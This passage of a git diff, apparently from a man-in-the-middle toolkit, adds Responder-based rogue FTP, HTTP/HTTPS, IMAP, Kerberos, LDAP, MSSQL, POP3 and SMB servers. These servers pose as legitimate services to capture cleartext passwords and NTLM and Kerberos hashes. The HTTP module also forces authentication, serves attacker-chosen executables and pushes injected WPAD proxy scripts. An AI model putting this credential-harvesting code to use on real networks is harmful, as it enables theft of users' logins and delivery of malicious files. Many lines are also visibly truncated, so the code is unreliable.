disabled) + print ' %-27s' % "Fingerprint hosts" + (enabled if settings.Config.Finger_On_Off == True else disabled) + print "" + + print color("[+] ", 2, 1) + "Generic Options:" + print ' %-27s' % "Responder NIC" + color('[%s]' % settings.Config.Interface, 5, 1) + print ' %-27s' % "Responder IP" + color('[%s]' % settings.Config.Bind_To, 5, 1) + print ' %-27s' % "Challenge set" + color('[%s]' % settings.Config.NumChal, 5, 1) + + if settings.Config.Upstream_Proxy: + print ' %-27s' % "Upstream Proxy" + color('[%s]' % settings.Config.Upstream_Proxy, 5, 1) + + if len(settings.Config.RespondTo): + print ' %-27s' % "Respond To" + color(str(settings.Config.RespondTo), 5, 1) + + if len(settings.Config.RespondToName): + print ' %-27s' % "Respond To Names" + color(str(settings.Config.RespondToName), 5, 1) + + if len(settings.Config.DontRespondTo): + print ' %-27s' % "Don't Respond To" + color(str(settings.Config.DontRespondTo), 5, 1) + + if len(settings.Config.DontRespondToName): + print ' %-27s' % "Don't Respond To Names" + color(str(settings.Config.DontRespondToName), 5, 1) + + print "" + print "" + +# Useful for debugging +def hexdump(src, l=0x16): + res = [] + sep = '.' + src = str(src) + + for i in range(0, len(src), l): + s = src[i:i+l] + hexa = '' + + for h in range(0,len(s)): + if h == l/2: + hexa += ' ' + h = s[h] + if not isinstance(h, int): + h = ord(h) + h = hex(h).replace('0x','') + if len(h) == 1: + h = '0'+h + hexa += h + ' ' + + hexa = hexa.strip(' ') + text = '' + + for c in s: + if not isinstance(c, int): + c = ord(c) + + if 0x20 <= c < 0x7F: + text += chr(c) + else: + text += sep + + res.append(('%08X: %-'+str(l*(2+1)+1)+'s |%s|') % (i, hexa, text)) + + return '\n'.join(res) diff --git a/core/sergioproxy/README.md b/core/sergioproxy/README.md deleted file mode 100644 index 87a7a23..0000000 --- a/core/sergioproxy/README.md +++ /dev/null @@ -1,13 +0,0 @@ -Originally, sergio-proxy was a standalone implementation of a -transparent proxy using the Twisted networking framework -for Python. However, sslstrip uses almost *exactly* the -same interception method, so I decided to use sslstrip's -more mature libraries and try to provide a simple plugin -interface to grab the data. - -The only file that has been modified from sslstrip is the -ServerConnection.py file, from which we can hook at certain -important points during the intercept. - -Copyright 2011, Ben Schmidt -Released under the GPLv3 diff --git a/core/sergioproxy/__init__.py b/core/sergioproxy/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/core/servers/Browser.py b/core/servers/Browser.py new file mode 100644 index 0000000..a6aad30 --- /dev/null +++ b/core/servers/Browser.py @@ -0,0 +1,205 @@ +#!/usr/bin/env python +# This file is part of Responder +# Original work by Laurent Gaffie - Trustwave Holdings +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +import socket +import struct + +from core.configwatcher import ConfigWatcher +from core.packets import SMBHeader, SMBNegoData, SMBSessionData, SMBTreeConnectData, RAPNetServerEnum3Data, SMBTransRAPData +from SocketServer import BaseRequestHandler +from core.utils import * + +def WorkstationFingerPrint(data): + Role = { + "\x04\x00" :"Windows 95", + "\x04\x10" :"Windows 98", + "\x04\x90" :"Windows ME", + "\x05\x00" :"Windows 2000", + "\x05\x00" :"Windows XP", + "\x05\x02" :"Windows 2003", + "\x06\x00" :"Windows Vista/Server 2008", + "\x06\x01" :"Windows 7/Server 2008R2", + } + + return Role[data] if data in Role else "Unknown" + +def RequestType(data): + Type = { + "\x01": 'Host Announcement', + "\x02": 'Request Announcement', + "\x08": 'Browser Election', + "\x09": 'Get Backup List Request', + "\x0a": 'Get Backup List Response', + "\x0b": 'Become Backup Browser', + "\x0c": 'Domain/Workgroup Announcement', + "\x0d": 'Master Announcement', + "\x0e": 'Reset Browser State Announcement', + "\x0f": 'Local Master Announcement', + } + + return Type[data] if data in Type else "Unknown" + +def PrintServerName(data, entries): + if entries > 0: + + entrieslen = 26*entries + chunks, chunk_size = len(data[:entrieslen]), entrieslen/entries + ServerName = [data[i:i+chunk_size] for i in range(0, chunks, chunk_size)] + + l = [] + for x in ServerName: + FP = WorkstationFingerPrint(x[16:18]) + Name = x[:16].replace('\x00', '') + + if FP: + l.append(Name + ' (%s)' % FP) + else: + l.append(Name) + + return l + + return None + +def ParsePacket(Payload): + PayloadOffset = struct.unpack('i", len(''.join(Packet))) + Packet + + s.send(Buffer) + data = s.recv(1024) + + # Session Setup AndX Request, Anonymous. + if data[8:10] == "\x72\x00": + Header = SMBHeader(cmd="\x73",mid="\x02\x00") + Body = SMBSessionData() + Body.calculate() + + Packet = str(Header)+str(Body) + Buffer = struct.pack(">i", len(''.join(Packet))) + Packet + + s.send(Buffer) + data = s.recv(1024) + + # Tree Connect IPC$. + if data[8:10] == "\x73\x00": + Header = SMBHeader(cmd="\x75",flag1="\x08", flag2="\x01\x00",uid=data[32:34],mid="\x03\x00") + Body = SMBTreeConnectData(Path="\\\\"+Host+"\\IPC$") + Body.calculate() + + Packet = str(Header)+str(Body) + Buffer = struct.pack(">i", len(''.join(Packet))) + Packet + + s.send(Buffer) + data = s.recv(1024) + + # Rap ServerEnum. + if data[8:10] == "\x75\x00": + Header = SMBHeader(cmd="\x25",flag1="\x08", flag2="\x01\xc8",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x04\x00") + Body = SMBTransRAPData(Data=RAPNetServerEnum3Data(ServerType=Type,DetailLevel="\x01\x00",TargetDomain=Domain)) + Body.calculate() + + Packet = str(Header)+str(Body) + Buffer = struct.pack(">i", len(''.join(Packet))) + Packet + + s.send(Buffer) + data = s.recv(64736) + + # Rap ServerEnum, Get answer and return what we're looking for. + if data[8:10] == "\x25\x00": + s.close() + return ParsePacket(data) + except: + pass + +def BecomeBackup(data,Client): + try: + DataOffset = struct.unpack('. +import os + +from core.utils import * +from SocketServer import BaseRequestHandler +from core.packets import FTPPacket + +class FTP(BaseRequestHandler): + def handle(self): + try: + self.request.send(str(FTPPacket())) + data = self.request.recv(1024) + + if data[0:4] == "USER": + User = data[5:].strip() + + Packet = FTPPacket(Code="331",Message="User name okay, need password.") + self.request.send(str(Packet)) + data = self.request.recv(1024) + + if data[0:4] == "PASS": + Pass = data[5:].strip() + + Packet = FTPPacket(Code="530",Message="User not logged in.") + self.request.send(str(Packet)) + data = self.request.recv(1024) + + SaveToDb({ + 'module': 'FTP', + 'type': 'Cleartext', + 'client': self.client_address[0], + 'user': User, + 'cleartext': Pass, + 'fullhash': User+':'+Pass + }) + + else: + Packet = FTPPacket(Code="502",Message="Command not implemented.") + self.request.send(str(Packet)) + data = self.request.recv(1024) + + except Exception: + pass \ No newline at end of file diff --git a/core/servers/HTTP.py b/core/servers/HTTP.py new file mode 100644 index 0000000..6a71471 --- /dev/null +++ b/core/servers/HTTP.py @@ -0,0 +1,292 @@ +#!/usr/bin/env python +# This file is part of Responder +# Original work by Laurent Gaffie - Trustwave Holdings +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +import os +import struct +import core.responder.settings + +from SocketServer import BaseServer, BaseRequestHandler, StreamRequestHandler, ThreadingMixIn, TCPServer +from base64 import b64decode, b64encode +from core.responder.utils import * + +from core.responder.packets import NTLM_Challenge +from core.responder.packets import IIS_Auth_401_Ans, IIS_Auth_Granted, IIS_NTLM_Challenge_Ans, IIS_Basic_401_Ans +from core.responder.packets import WPADScript, ServeExeFile, ServeHtmlFile + + +# Parse NTLMv1/v2 hash. +def ParseHTTPHash(data, client): + LMhashLen = struct.unpack(' 24: + NthashLen = 64 + DomainLen = struct.unpack(' 1 and settings.Config.Verbose: + print text("[HTTP] Cookie : %s " % Cookie) + return Cookie + else: + return False + +def GrabHost(data, host): + Host = re.search('(Host:*.\=*)[^\r\n]*', data) + + if Host: + Host = Host.group(0).replace('Host: ', '') + if settings.Config.Verbose: + print text("[HTTP] Host : %s " % color(Host, 3)) + return Host + else: + return False + +def WpadCustom(data, client): + Wpad = re.search('(/wpad.dat|/*\.pac)', data) + if Wpad: + Buffer = WPADScript(Payload=settings.Config.WPAD_Script) + Buffer.calculate() + return str(Buffer) + else: + return False + +def ServeFile(Filename): + with open (Filename, "rb") as bk: + data = bk.read() + bk.close() + return data + +def RespondWithFile(client, filename, dlname=None): + + if filename.endswith('.exe'): + Buffer = ServeExeFile(Payload = ServeFile(filename), ContentDiFile=dlname) + else: + Buffer = ServeHtmlFile(Payload = ServeFile(filename)) + + Buffer.calculate() + print text("[HTTP] Sending file %s to %s" % (filename, client)) + + return str(Buffer) + +def GrabURL(data, host): + GET = re.findall('(?<=GET )[^HTTP]*', data) + POST = re.findall('(?<=POST )[^HTTP]*', data) + POSTDATA = re.findall('(?<=\r\n\r\n)[^*]*', data) + + if GET and settings.Config.Verbose: + print text("[HTTP] GET request from: %-15s URL: %s" % (host, color(''.join(GET), 5))) + + if POST and settings.Config.Verbose: + print text("[HTTP] POST request from: %-15s URL: %s" % (host, color(''.join(POST), 5))) + if len(''.join(POSTDATA)) > 2: + print text("[HTTP] POST Data: %s" % ''.join(POSTDATA).strip()) + +# Handle HTTP packet sequence. +def PacketSequence(data, client): + NTLM_Auth = re.findall('(?<=Authorization: NTLM )[^\\r]*', data) + Basic_Auth = re.findall('(?<=Authorization: Basic )[^\\r]*', data) + + # Serve the .exe if needed + if settings.Config.Serve_Always == True or (settings.Config.Serve_Exe == True and re.findall('.exe', data)): + return RespondWithFile(client, settings.Config.Exe_Filename, settings.Config.Exe_DlName) + + # Serve the custom HTML if needed + if settings.Config.Serve_Html == True: + return RespondWithFile(client, settings.Config.Html_Filename) + + WPAD_Custom = WpadCustom(data, client) + + if NTLM_Auth: + Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9] + + if Packet_NTLM == "\x01": + GrabURL(data, client) + GrabHost(data, client) + GrabCookie(data, client) + + Buffer = NTLM_Challenge(ServerChallenge=settings.Config.Challenge) + Buffer.calculate() + + Buffer_Ans = IIS_NTLM_Challenge_Ans() + Buffer_Ans.calculate(str(Buffer)) + + return str(Buffer_Ans) + + if Packet_NTLM == "\x03": + NTLM_Auth = b64decode(''.join(NTLM_Auth)) + ParseHTTPHash(NTLM_Auth, client) + + if settings.Config.Force_WPAD_Auth and WPAD_Custom: + print text("[HTTP] WPAD (auth) file sent to %s" % client) + return WPAD_Custom + + else: + Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject) + Buffer.calculate() + return str(Buffer) + + elif Basic_Auth: + ClearText_Auth = b64decode(''.join(Basic_Auth)) + + GrabURL(data, client) + GrabHost(data, client) + GrabCookie(data, client) + + SaveToDb({ + 'module': 'HTTP', + 'type': 'Basic', + 'client': client, + 'user': ClearText_Auth.split(':')[0], + 'cleartext': ClearText_Auth.split(':')[1], + }) + + if settings.Config.Force_WPAD_Auth and WPAD_Custom: + if settings.Config.Verbose: + print text("[HTTP] WPAD (auth) file sent to %s" % client) + return WPAD_Custom + + else: + Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject) + Buffer.calculate() + return str(Buffer) + + else: + if settings.Config.Basic == True: + Response = IIS_Basic_401_Ans() + if settings.Config.Verbose: + print text("[HTTP] Sending BASIC authentication request to %s" % client) + + else: + Response = IIS_Auth_401_Ans() + if settings.Config.Verbose: + print text("[HTTP] Sending NTLM authentication request to %s" % client) + + return str(Response) + +# HTTP Server class +class HTTP(BaseRequestHandler): + + def handle(self): + try: + while True: + self.request.settimeout(1) + data = self.request.recv(8092) + Buffer = WpadCustom(data, self.client_address[0]) + + if Buffer and settings.Config.Force_WPAD_Auth == False: + self.request.send(Buffer) + if settings.Config.Verbose: + print text("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0]) + + else: + Buffer = PacketSequence(data,self.client_address[0]) + self.request.send(Buffer) + except socket.error: + pass + +# HTTPS Server class +class HTTPS(StreamRequestHandler): + def setup(self): + self.exchange = self.request + self.rfile = socket._fileobject(self.request, "rb", self.rbufsize) + self.wfile = socket._fileobject(self.request, "wb", self.wbufsize) + + def handle(self): + try: + while True: + data = self.exchange.recv(8092) + self.exchange.settimeout(0.5) + Buffer = WpadCustom(data,self.client_address[0]) + + if Buffer and settings.Config.Force_WPAD_Auth == False: + self.exchange.send(Buffer) + if settings.Config.Verbose: + print text("[HTTPS] WPAD (no auth) file sent to %s" % self.client_address[0]) + + else: + Buffer = PacketSequence(data,self.client_address[0]) + self.exchange.send(Buffer) + except: + pass + +# SSL context handler +class SSLSock(ThreadingMixIn, TCPServer): + def __init__(self, server_address, RequestHandlerClass): + from OpenSSL import SSL + + BaseServer.__init__(self, server_address, RequestHandlerClass) + ctx = SSL.Context(SSL.SSLv3_METHOD) + + cert = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert) + key = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey) + + ctx.use_privatekey_file(key) + ctx.use_certificate_file(cert) + + self.socket = SSL.Connection(ctx, socket.socket(self.address_family, self.socket_type)) + self.server_bind() + self.server_activate() + + def shutdown_request(self,request): + try: + request.shutdown() + except: + pass diff --git a/core/servers/IMAP.py b/core/servers/IMAP.py new file mode 100644 index 0000000..c0ae12b --- /dev/null +++ b/core/servers/IMAP.py @@ -0,0 +1,55 @@ +#!/usr/bin/env python +# This file is part of Responder +# Original work by Laurent Gaffie - Trustwave Holdings +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +import os +import settings + +from utils import * +from SocketServer import BaseRequestHandler +from packets import IMAPGreeting, IMAPCapability, IMAPCapabilityEnd + +# IMAP4 Server class +class IMAP(BaseRequestHandler): + + def handle(self): + try: + self.request.send(str(IMAPGreeting())) + data = self.request.recv(1024) + + if data[5:15] == "CAPABILITY": + RequestTag = data[0:4] + self.request.send(str(IMAPCapability())) + self.request.send(str(IMAPCapabilityEnd(Tag=RequestTag))) + data = self.request.recv(1024) + + if data[5:10] == "LOGIN": + Credentials = data[10:].strip() + + SaveToDb({ + 'module': 'IMAP', + 'type': 'Cleartext', + 'client': self.client_address[0], + 'user': Credentials[0], + 'cleartext': Credentials[1], + 'fullhash': Credentials[0]+":"+Credentials[1], + }) + + ## FIXME: Close connection properly + ## self.request.send(str(ditchthisconnection())) + ## data = self.request.recv(1024) + + except Exception: + pass \ No newline at end of file diff --git a/core/servers/smb/KarmaSMB.py b/core/servers/KarmaSMB.py similarity index 100% rename from core/servers/smb/KarmaSMB.py rename to core/servers/KarmaSMB.py diff --git a/core/servers/Kerberos.py b/core/servers/Kerberos.py new file mode 100644 index 0000000..b3ac4bf --- /dev/null +++ b/core/servers/Kerberos.py @@ -0,0 +1,159 @@ +#!/usr/bin/env python +# This file is part of Responder +# Original work by Laurent Gaffie - Trustwave Holdings +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +import os +import struct +import settings + +from SocketServer import BaseRequestHandler +from utils import * + +def ParseMSKerbv5TCP(Data): + MsgType = Data[21:22] + EncType = Data[43:44] + MessageType = Data[32:33] + + if MsgType == "\x0a" and EncType == "\x17" and MessageType =="\x02": + if Data[49:53] == "\xa2\x36\x04\x34" or Data[49:53] == "\xa2\x35\x04\x33": + HashLen = struct.unpack('. +import os +import struct +import settings + +from SocketServer import BaseRequestHandler +from packets import LDAPSearchDefaultPacket, LDAPSearchSupportedCapabilitiesPacket, LDAPSearchSupportedMechanismsPacket, LDAPNTLMChallenge +from utils import * + +def ParseSearch(data): + Search1 = re.search('(objectClass)', data) + Search2 = re.search('(?i)(objectClass0*.*supportedCapabilities)', data) + Search3 = re.search('(?i)(objectClass0*.*supportedSASLMechanisms)', data) + + if Search1: + return str(LDAPSearchDefaultPacket(MessageIDASNStr=data[8:9])) + if Search2: + return str(LDAPSearchSupportedCapabilitiesPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9])) + if Search3: + return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9])) + +def ParseLDAPHash(data, client): + SSPIStart = data[42:] + LMhashLen = struct.unpack(' 10: + LMhashOffset = struct.unpack('i',data[2:6])[0] + MessageSequence = struct.unpack('i',data[11:15])[0] + LDAPVersion = struct.unpack('. +import os +import struct +import settings + +from SocketServer import BaseRequestHandler +from packets import MSSQLPreLoginAnswer, MSSQLNTLMChallengeAnswer +from utils import * + +class TDS_Login_Packet(): + def __init__(self, data): + + ClientNameOff = struct.unpack(' 60: + WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, settings.Config.NumChal, NTHash[:32], NTHash[32:]) + + SaveToDb({ + 'module': 'MSSQL', + 'type': 'NTLMv2', + 'client': client, + 'user': Domain+'\\'+User, + 'hash': NTHash[:32]+":"+NTHash[32:], + 'fullhash': WriteHash, + }) + +def ParseSqlClearTxtPwd(Pwd): + Pwd = map(ord,Pwd.replace('\xa5','')) + Pw = [] + for x in Pwd: + Pw.append(hex(x ^ 0xa5)[::-1][:2].replace("x","0").decode('hex')) + return ''.join(Pw) + +def ParseClearTextSQLPass(data, client): + + TDS = TDS_Login_Packet(data) + + SaveToDb({ + 'module': 'MSSQL', + 'type': 'Cleartext', + 'client': client, + 'hostname': "%s (%s)" % (TDS.ServerName, TDS.DatabaseName), + 'user': TDS.UserName, + 'cleartext': ParseSqlClearTxtPwd(TDS.Password), + 'fullhash': TDS.UserName +':'+ ParseSqlClearTxtPwd(TDS.Password), + }) + +# MSSQL Server class +class MSSQL(BaseRequestHandler): + + def handle(self): + if settings.Config.Verbose: + print text("[MSSQL] Received connection from %s" % self.client_address[0]) + + try: + while True: + data = self.request.recv(1024) + self.request.settimeout(0.1) + + # Pre-Login Message + if data[0] == "\x12": + Buffer = str(MSSQLPreLoginAnswer()) + self.request.send(Buffer) + data = self.request.recv(1024) + + # NegoSSP + if data[0] == "\x10": + if re.search("NTLMSSP",data): + Packet = MSSQLNTLMChallengeAnswer(ServerChallenge=settings.Config.Challenge) + Packet.calculate() + Buffer = str(Packet) + self.request.send(Buffer) + data = self.request.recv(1024) + + else: + ParseClearTextSQLPass(data,self.client_address[0]) + + # NegoSSP Auth + if data[0] == "\x11": + ParseSQLHash(data,self.client_address[0]) + + except socket.timeout: + pass + self.request.close() \ No newline at end of file diff --git a/core/servers/POP3.py b/core/servers/POP3.py new file mode 100644 index 0000000..5bdfa7e --- /dev/null +++ b/core/servers/POP3.py @@ -0,0 +1,60 @@ +#!/usr/bin/env python +# This file is part of Responder +# Original work by Laurent Gaffie - Trustwave Holdings +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +import os +import settings + +from utils import * +from SocketServer import BaseRequestHandler +from packets import POPOKPacket + +# POP3 Server class +class POP3(BaseRequestHandler): + + def SendPacketAndRead(self): + Packet = POPOKPacket() + self.request.send(str(Packet)) + data = self.request.recv(1024) + + return data + + def handle(self): + try: + data = self.SendPacketAndRead() + + if data[0:4] == "USER": + User = data[5:].replace("\r\n","") + data = self.SendPacketAndRead() + + if data[0:4] == "PASS": + Pass = data[5:].replace("\r\n","") + + SaveToDb({ + 'module': 'POP3', + 'type': 'Cleartext', + 'client': self.client_address[0], + 'user': User, + 'cleartext': Pass, + 'fullhash': User+":"+Pass, + }) + + data = self.SendPacketAndRead() + + else: + data = self.SendPacketAndRead() + + except Exception: + pass \ No newline at end of file diff --git a/core/servers/SMB.py b/core/servers/SMB.py new file mode 100644 index 0000000..2b5394c --- /dev/null +++ b/core/servers/SMB.py @@ -0,0 +1,421 @@ +#!/usr/bin/env python +# This file is part of Responder +# Original work by Laurent Gaffie - Trustwave Holdings +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +import struct +import core.responder.settings as settings +import threading +import socket +from traceback import print_exc + +from random import randrange +from core.responder.packets import SMBHeader, SMBNegoAnsLM, SMBNegoAns, SMBNegoKerbAns, SMBSession1Data, SMBSession2Accept, SMBSessEmpty, SMBTreeData +from SocketServer import BaseRequestHandler, ThreadingMixIn, TCPServer +from core.responder.utils import * + +class SMB: + + def start(self): + try: + if OsInterfaceIsSupported(): + server1 = ThreadingTCPServer((settings.Config.Bind_To, 445), SMB1) + server2 = ThreadingTCPServer((settings.Config.Bind_To, 139), SMB1) + else: + server1 = ThreadingTCPServer(('', 445), SMB1) + server2 = ThreadingTCPServer(('', 139), SMB1) + + for server in [server1, server2]: + t = threading.Thread(name='SMB', target=server.serve_forever) + t.setDaemon(True) + t.start() + except Exception as e: + print "Error starting SMB server: {}".format(e) + print_exc() + +class ThreadingTCPServer(ThreadingMixIn, TCPServer): + + allow_reuse_address = 1 + + def server_bind(self): + if OsInterfaceIsSupported(): + try: + self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0') + except: + pass + TCPServer.server_bind(self) + +# Detect if SMB auth was Anonymous +def Is_Anonymous(data): + SecBlobLen = struct.unpack(' 260: + LMhashLen = struct.unpack(' 60: + SMBHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper() + DomainLen = struct.unpack(' 25: + FullHash = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex') + LmHash = FullHash[:32].upper() + NtHash = FullHash[32:].upper() + WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, settings.Config.NumChal, LmHash, NtHash) + + SaveToDb({ + 'module': 'SMB', + 'type': 'NTLMv2', + 'client': client, + 'user': Domain+'\\'+Username, + 'hash': NtHash, + 'fullhash': WriteHash, + }) + + if NthashLen == 24: + NtHash = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex').upper() + LmHash = data[65:65+LMhashLen].encode('hex').upper() + WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LmHash, NtHash, settings.Config.NumChal) + + SaveToDb({ + 'module': 'SMB', + 'type': 'NTLMv1', + 'client': client, + 'user': Domain+'\\'+Username, + 'hash': NtHash, + 'fullhash': WriteHash, + }) + +def IsNT4ClearTxt(data, client): + HeadLen = 36 + + if data[14:16] == "\x03\x80": + SmbData = data[HeadLen+14:] + WordCount = data[HeadLen] + ChainedCmdOffset = data[HeadLen+1] + + if ChainedCmdOffset == "\x75": + PassLen = struct.unpack(' 2: + + Password = data[HeadLen+30:HeadLen+30+PassLen].replace("\x00","") + User = ''.join(tuple(data[HeadLen+30+PassLen:].split('\x00\x00\x00'))[:1]).replace("\x00","") + print text("[SMB] Clear Text Credentials: %s:%s" % (User,Password)) + WriteData(settings.Config.SMBClearLog % client, User+":"+Password, User+":"+Password) + +# SMB Server class, NTLMSSP +class SMB1(BaseRequestHandler): + + def handle(self): + try: + while True: + data = self.request.recv(1024) + self.request.settimeout(1) + + if len(data) < 1: + break + + ##session request 139 + if data[0] == "\x81": + Buffer = "\x82\x00\x00\x00" + self.request.send(Buffer) + try: + data = self.request.recv(1024) + except: + pass + + # Negociate Protocol Response + if data[8:10] == "\x72\x00": + # \x72 == Negociate Protocol Response + Header = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(data),mid=midcalc(data)) + Body = SMBNegoKerbAns(Dialect=Parse_Nego_Dialect(data)) + Body.calculate() + + Packet = str(Header)+str(Body) + Buffer = struct.pack(">i", len(''.join(Packet)))+Packet + + self.request.send(Buffer) + data = self.request.recv(1024) + + # Session Setup AndX Request + if data[8:10] == "\x73\x00": + IsNT4ClearTxt(data, self.client_address[0]) + + # STATUS_MORE_PROCESSING_REQUIRED + Header = SMBHeader(cmd="\x73",flag1="\x88", flag2="\x01\xc8", errorcode="\x16\x00\x00\xc0", uid=chr(randrange(256))+chr(randrange(256)),pid=pidcalc(data),tid="\x00\x00",mid=midcalc(data)) + Body = SMBSession1Data(NTLMSSPNtServerChallenge=settings.Config.Challenge) + Body.calculate() + + Packet = str(Header)+str(Body) + Buffer = struct.pack(">i", len(''.join(Packet)))+Packet + + self.request.send(Buffer) + data = self.request.recv(4096) + + # STATUS_SUCCESS + if data[8:10] == "\x73\x00": + if Is_Anonymous(data): + Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(data),mid=midcalc(data))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins. + Body = SMBSessEmpty() + + Packet = str(Header)+str(Body) + Buffer = struct.pack(">i", len(''.join(Packet)))+Packet + + self.request.send(Buffer) + + else: + # Parse NTLMSSP_AUTH packet + ParseSMBHash(data,self.client_address[0]) + + # Send STATUS_SUCCESS + Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) + Body = SMBSession2Accept() + Body.calculate() + + Packet = str(Header)+str(Body) + Buffer = struct.pack(">i", len(''.join(Packet)))+Packet + + self.request.send(Buffer) + data = self.request.recv(1024) + + # Tree Connect AndX Request + if data[8:10] == "\x75\x00": + ParseShare(data) + # Tree Connect AndX Response + Header = SMBHeader(cmd="\x75",flag1="\x88", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00", pid=pidcalc(data), tid=chr(randrange(256))+chr(randrange(256)), uid=uidcalc(data), mid=midcalc(data)) + Body = SMBTreeData() + Body.calculate() + + Packet = str(Header)+str(Body) + Buffer = struct.pack(">i", len(''.join(Packet)))+Packet + + self.request.send(Buffer) + data = self.request.recv(1024) + + ##Tree Disconnect. + if data[8:10] == "\x71\x00": + Header = SMBHeader(cmd="\x71",flag1="\x98", flag2="\x07\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) + Body = "\x00\x00\x00" + + Packet = str(Header)+str(Body) + Buffer = struct.pack(">i", len(''.join(Packet)))+Packet + + self.request.send(Buffer) + data = self.request.recv(1024) + + ##NT_CREATE Access Denied. + if data[8:10] == "\xa2\x00": + Header = SMBHeader(cmd="\xa2",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) + Body = "\x00\x00\x00" + + Packet = str(Header)+str(Body) + Buffer = struct.pack(">i", len(''.join(Packet)))+Packet + + self.request.send(Buffer) + data = self.request.recv(1024) + + ##Trans2 Access Denied. + if data[8:10] == "\x25\x00": + Header = SMBHeader(cmd="\x25",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) + Body = "\x00\x00\x00" + + Packet = str(Header)+str(Body) + Buffer = struct.pack(">i", len(''.join(Packet)))+Packet + + self.request.send(Buffer) + data = self.request.recv(1024) + + ##LogOff. + if data[8:10] == "\x74\x00": + Header = SMBHeader(cmd="\x74",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) + Body = "\x02\xff\x00\x27\x00\x00\x00" + + Packet = str(Header)+str(Body) + Buffer = struct.pack(">i", len(''.join(Packet)))+Packet + + self.request.send(Buffer) + data = self.request.recv(1024) + + except socket.timeout: + pass + +# SMB Server class, old version +class SMB1LM(BaseRequestHandler): + + def handle(self): + try: + self.request.settimeout(0.5) + data = self.request.recv(1024) + + ##session request 139 + if data[0] == "\x81": + Buffer = "\x82\x00\x00\x00" + self.request.send(Buffer) + data = self.request.recv(1024) + + ##Negotiate proto answer. + if data[8:10] == "\x72\x00": + head = SMBHeader(cmd="\x72",flag1="\x80", flag2="\x00\x00",pid=pidcalc(data),mid=midcalc(data)) + Body = SMBNegoAnsLM(Dialect=Parse_Nego_Dialect(data),Domain="",Key=settings.Config.Challenge) + Body.calculate() + Packet = str(head)+str(Body) + Buffer = struct.pack(">i", len(''.join(Packet)))+Packet + self.request.send(Buffer) + data = self.request.recv(1024) + + ##Session Setup AndX Request + if data[8:10] == "\x73\x00": + if 